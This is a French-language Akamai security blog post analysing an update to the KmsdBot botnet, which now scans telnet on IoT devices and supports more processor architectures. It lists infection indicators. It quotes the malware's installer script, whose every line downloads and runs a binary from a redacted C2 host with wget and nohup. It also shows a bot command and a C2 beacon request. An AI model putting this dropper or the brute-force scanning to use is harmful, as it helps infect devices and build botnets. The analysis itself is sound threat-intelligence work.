La mise à jour du fichier binaire Kmsdx montre que KmsdBot cible l'écosystème de l'IoT
Contributions éditoriales et additionnelles de Tricia Howard
Synthèse
L'équipe SIRT (Security Intelligence Response Team) d'Akamai a continué de suivre la campagne de logiciels malveillants KmsdBot, qui a révélé une mise à jour du fichier binaire Kmsdx ciblant les terminaux IoT (Internet des objets).
Le fichier binaire prend désormais en charge l'analyse telnet ainsi que de nouvelles architectures de processeurs, étendant ses capacités et sa surface d'attaque.
Ces nouvelles capacités n'ont été détectées qu'à partir de la mi-juillet 2023.
Le logiciel malveillant cible les serveurs de jeux privés, les fournisseurs d'hébergement cloud et certains sites gouvernementaux et éducatifs.
La présence et les activités du logiciel malveillant indiquent que les terminaux IoT vulnérables continuent de représenter une menace importante sur Internet, ce qui renforce la nécessité d'adopter des mesures de sécurité et d'effectuer des mises à jour régulières.
Devinez qui est de retour ?
L'équipe SIRT d'Akamai suit la campagne de botnet Kmsdx depuis novembre 2022, et vient de détecter une nouvelle évolution. Cette fois-ci, nous avons découvert un fichier binaire Ksmdx mis à jour avec un volet IoT, ce qui représente une grande amélioration de ses capacités par rapport aux versions précédentes.
L'ajout du ciblage IoT nous donne également un aperçu du comportement des acteurs malveillants et de l'écosystème en général. Bien que l'IoT existe depuis plusieurs années, de même que le pilotage de multiples dénis de service distribués(DDoS) à grande échelle par l'IoT,cette nouvelle évolution démontre l'immensité de l'écosystème des menaces que représente encore l'IoT.
Dans cet article, nous allons analyser les évolutions du fichier binaire et nous pencher sur ses techniques de ciblage. Nous évoquerons également l'impact de cette évolution.
KmsdBot cible l'IoT
KmsdBot a connu une existence mouvementée, de sa découverte initiale à sa suppression accidentelle par son auteur, en passant par l'émulation par l'équipe SIRT d'Akamai de son serveur de commande et de contrôle (C2). Nos recherches sur ce logiciel malveillant en constante évolution se sont poursuivies, menant à cette quatrième version : un fichier binaire Kmsdx mis à jour.
Ce fichier binaire permet d'analyser des adresses IP aléatoires pour les ports SSH ouverts et de réaliser des tentatives de connexion au système avec une liste de mots de passe téléchargée à partir du serveur C2.
Le fichier binaire a été mis à jour pour inclure l'analyse telnet et la vérification des services telnet légitimes. La liste des fichiers binaires KmsdBot s'est élargie pour couvrir davantage d'architectures de processeurs utilisées dans les terminaux IoT. Nous avons déjà évoqué cette possibilité dans notre premier article de blog sur ce logiciel malveillant , étant donné que la structure de répertoire du serveur FTP indiquait une extension prochaine de la prise en charge des architectures de processeurs.
Cet exemple semble vérifier la validité des services Telnet en déterminant si quelque chose est reçu par la connexion initiale sur le port 23. Cela semble confirmer qu'un service telnet valide écoute sur le port 23 et présente une invite, au lieu de simplement se déconnecter.
Dans le pseudocode généré à la Figure 1, main_isitfake est appelé à l'intérieur de la fonction principale de recherche telnet.
Figure 1 : Dans le pseudocode généré, main_telnet() appelle main_isitfake()
Si la vérification échoue, elle s'arrête là. Cependant, si elle réussit (renvoie false), elle exécute la charge utile de l'infection.
Cette analyse IP simple en apparence est en fait plus complexe qu'il n'y paraît (Figure 2.) Ce contrôle de légitimité est l'un des facteurs qui nous ont conduits à penser que les terminaux IoT étaient ciblés. Certains terminaux IoT disposent d'une fonction d'écoute telnet ainsi que d'une liste de contrôle d'accès qui interrompt la connexion si l'adresse IP ne provient pas d'un espace d'adressage RFC 1918.
Si vous ne connaissez pas l'espace RFC 1918, il est intitulé « allocation d'adresses pour les réseaux privés » et décrit les plages d'adresses IP utilisées pour les réseaux internes. Par exemple, les plages IP courantes utilisées pour les réseaux domestiques sont 192.168.1.0/24 et 192.168.0,0/24.
Figure 2 : Un code supplémentaire a été ajouté pour gérer la recherche telnet
Comme l'analyse SSH, l'analyse telnet appelle une fonction qui génère une adresse IP aléatoire. Ensuite, elle tente de se connecter au port 23 sur cette adresse IP. L'analyse telnet ne s'arrête pas à la décision d'écouter ou non le port 23. Elle vérifie que le tampon de réception contient des données. Nous avons pu générer cet extrait de pseudocode à partir du fichier binaire décompilé (Figure 3) qui montre comment il vérifie le tampon contenant des données (non null.)
Figure 3 : Pseudocode montrant le contrôle de flux de la vérification du tampon
Package principal : /root/scan
Fichier : main.go
Lignes principales : 11 à 48 (37)
Lignes d'analyse : 48 à 68 (20)
Fichier : pma.go
Lignes checkpma : 13 à 79 (66)
Lignes checkpmafun1 : 68 à 72 (4)
Lignes de vérification : 79 à 114 (35)
Fichier : ssh.go
Lignes sshcheck : 15 à 205 (190)
Lignes d'analyse : 205 à 227 (22)
Lignes scanfunc1 : 218 à 226 (8)
Fichier : telnet.go
Lignes scantelnet : 11 à 41 (30)
Lignes Scantelnetfunc1 : 26 à 34 (8)
Lignes telnet : 41 à 85 (44)
Lignes isitfake : 85 à 120 (35)
Fichier : utils.go
Lignes randomIP : 31 à 49 (18)
Lignes portopen : 49 à 82 (33)
Lignes newpassword : 82 à 92 (10)
Lignes sendreq : 92 à 104 (12)
Lignes optimaltimeout : 104 à 119 (15)
Lignes nolimits : 119 à 127 (8)
Lignes osname : 127 à 184 (57)
Lignes getlistofdata : 184 à 217 (33)
Lignes choosedifficulty : 217 à 245 (28)
Lignes workersname : 245 à 271 (26)
Lignes randomwallet : 271 à 274 (3)
Figure 4 : Sortie Redress montrant le code ajouté pour permettre l'analyse du service telnet
L'impact de la mise à jour
Même si certaines mises à jour de KmsdBot n'ont pas toujours donné les résultats escomptés, cette fois-ci, l'opération semble avoir été une réussite. Outre la nouvelle fonction de vérification d'analyse, de nombreuses architectures supplémentaires sont désormais prises en charge. Seuls Winx86, Arm64 et mips64, x86_64 ont disparu ; comme vous pouvez le voir dans le script d'installation ftp1.sh (Figure 5), bien d'autres sont maintenant disponibles.
#/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/386/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/amd64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/armv7l/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/arm64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/ppc64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mipsle/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/mips64le/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;pkill - 9 watchdog; wget http://xxx.xxx.xxx.xxx/s390x/watchdog; chmod +x watchdog;nohup ./watchdog </dev/null >/dev/null 2>&1 &; rm -rf watchdog
Fig. 5 : script d'installation kmsd montrant les architectures prises en charge
Bien que kmsd existe depuis au moins novembre 2022, son analyse de la légitimité telnet est assez récente. Selon nos journaux de suivi des bots, la recherche du service telnet a commencé le 16 juillet 2023.
Trouver des victimes
Le fichier telnet.txt (Figure 6) est le nom du fichier à télécharger avec la liste des informations d'identification pour différentes applications. En vérifiant nos journaux, nous avons trouvé des noms de fichiers tels que app, euro, euro2, euro3, euro4, lilstat, stats et users. Les fichiers contiennent des informations d'identification différentes pour les différentes applications. Par exemple, « app » contient des identifiants de connexion potentiels pour des applications comme Hadoop, Oracle, Elasticsearch, etc., tandis que les fichiers « euro » contiennent des identifiants pour TeamSpeak, CentOS, Ubuntu et d'autres combinaisons d'identifiants.
Pilote de surveillance kthread !scan c2_ipaddress telnet telnet.txt
Figure 6 : Commande de bot pour télécharger les informations d'identification et lancer l'analyse
Comme vous pouvez le voir à la Figure 7, le fichier texte contient un certain nombre de mots de passe faibles couramment utilisés et des combinaisons de ceux-ci, comme le même mot dans différentes combinaisons de majuscules et de minuscules. Les informations d'identification répertoriées peuvent sembler inefficaces : elles sont extrêmement simples et pauvres, et on peut espérer qu'elles ne seraient pas utilisées par un humain.
Cependant, dans le contexte de l'IoT, cela prend tout son sens. De nombreux terminaux IoT conservent leurs informations d'identification par défaut ; de fait, de nombreuses personnes sans connaissances techniques ne savent même pas que les informations d'identification peuvent être modifiées.
Figure 7 : Une liste partielle des informations d'identification téléchargées est stockée dans telnet.txt
Séparé de la commande de bot au-dessus de la ligne de commande ./ksmdx telnet telnet.txt kthread, le pilote de surveillance kthread va amener le fichier binaire ksmdx à télécharger une liste d'informations d'identification telnet et à commencer à analyser des adresses IP aléatoires pour le service telnet. L'outil d'analyse envoie alors une requête POST au port 45833 intitulée « Bruh Started: » (Figure 8) qui signale au serveur C2 que l'analyse a commencé.
POST / HTTP/1.1
Host: xxx.xxx.xxx.xxx:45833
User-Agent: Go-http-client/1.1
Content-Length: 14
Content-Type: text/plain
Accept-Encoding: gzip
Bruh Started:
Figure 8 : Requête POST alertant l'acteur malveillant du lancement de l'analyse telnet
Incohérence du ciblage
Le botnet continue de cibler principalement les serveurs de jeux privés et les fournisseurs d'hébergement cloud, comme il l'a toujours fait. Cependant, chaque cycle de kmsd inclut de nouvelles cibles qui semblent sortir de l'ordinaire. Cette fois-ci, plusieurs sites gouvernementaux roumains et quelques universités espagnoles ont été ciblés.
L'incohérence du ciblage concorde avec le comportement de l'acteur malveillant à l'origine de kmsd, qui est probablement un service de location de botnet. Ces attaques ciblent les ports 80 et 443 avec des requêtes HTTP POST, et les attaques « bigdata » restent la principale attaque de choix.
Indicateurs d'infection
66e0f3674a66647d5a9e23f47f889d4e3ad9b4a66db8f3def48d4675374d12f7 bins.sh
718fc249bcd6bc37ad229fb2d8c4037dc8dc8f4555d01934266d1a0c17d676cf watchdog.386
1f66675d2102e5d4ac89a239f9022c48b3bf23fe92dadb832d84e0eac6e476d6 watchdog.amd64
50afbf471a92acd1a0a6a2ffe199a52881eb80f683d95273302506194b2cd6ae watchdog.arm
812133033ba969731b66c63d5468556e42048bad396ef1026b5a91dda98bc289 watchdog.arm64
542791cf2dde1f449629b03ef95d3c2e0b2f98b1143d619232620d7c9459706c watchdog.mips
184f361bcf48265e74c31adee297b0cdfb1bbc39bc58f901c4ffdb69f6b589de watchdog.mips64
b09a3c2922ac519e76718c56763e39aece82c18556039be8547b166479f35555 watchdog.mips64le
b921f0de63ffae2865f5e1dbe8a52a1da505c902e2e4e2a96b85983029d311b5 watchdog.mipsle
b5eba1e7403e64559cfd40d56163ac31f3100d5e6e46be8fbb190cb82905528b watchdog.ppc64
c7a7a77343869f30004d02cba1bb24fd6c34770b40a19f37eb11c1b1d814446f watchdog.ppc64le
c8995af31396ef03270e847c1f40e1b860f3b838b7a6b0cde9decc2a3d01cad3 watchdog.s390x
d9a94d9ab91ae20cb91946f9c2513848844068914be3e9a6a5279b860febe2cc ksmdx
cad0ea256fc764f501da91c4e3b17bf08df7525d3dac376a1e23d3b40c60a7a1 download.php
803fb1cdeea499f9faaa0c95857d30d6be9d92fcce5dc176d5d3bac8d4f37eb3 ftp1.sh
733a3db1b54bac7ad8279b7b98be97833ee0e620b5be7db3159e178deb966e53 svhostb.exe
Conclusion
Les activités en cours de la campagne de logiciels malveillants KmsdBot indiquent que les terminaux IoT restent répandus et vulnérables sur Internet, ce qui en fait des cibles attrayantes pour construire un réseau de systèmes infectés.
D'un point de vue technique, l'ajout de capacités d'analyse telnet suggère une expansion de la surface d'attaque du botnet, ce qui lui permet de cibler un plus grand nombre de terminaux. De plus, à mesure que le logiciel malveillant évolue et prend en charge davantage d'architectures de processeurs, il constitue une menace permanente pour la sécurité des terminaux connectés à Internet. Cette expansion témoigne également du succès du botnet : s'il n'était pas efficace, les acteurs malveillants ne passeraient pas tant de temps à le mettre à jour si régulièrement (même s'ils l'ont accidentellement bloqué avec l'une des mises à jour).
D'un point de vue individuel, cette découverte souligne la nécessité d'adopter de solides mesures de sécurité et d'effectuer des mises à jour régulières pour se prémunir contre de telles attaques. Cela appelle également à sensibiliser davantage les utilisateurs à l'IoT et aux menaces qu'il représente pour la personne ou le foyer moyen. Nous l'avons vu à maintes reprises : n'importe quel réfrigérateur connecté peut participer involontairement à une attaque DDoS, sans que son propriétaire ne s'en rende compte.
Restez à l'écoute
L'un des objectifs de la SIRT d'Akamai est de disséquer et de documenter l'évolution de botnets tels que KmsdBot et d'informer le public de nos observations. Vous pouvez retrouver nos dernières sur la sécurité sur Twitter.
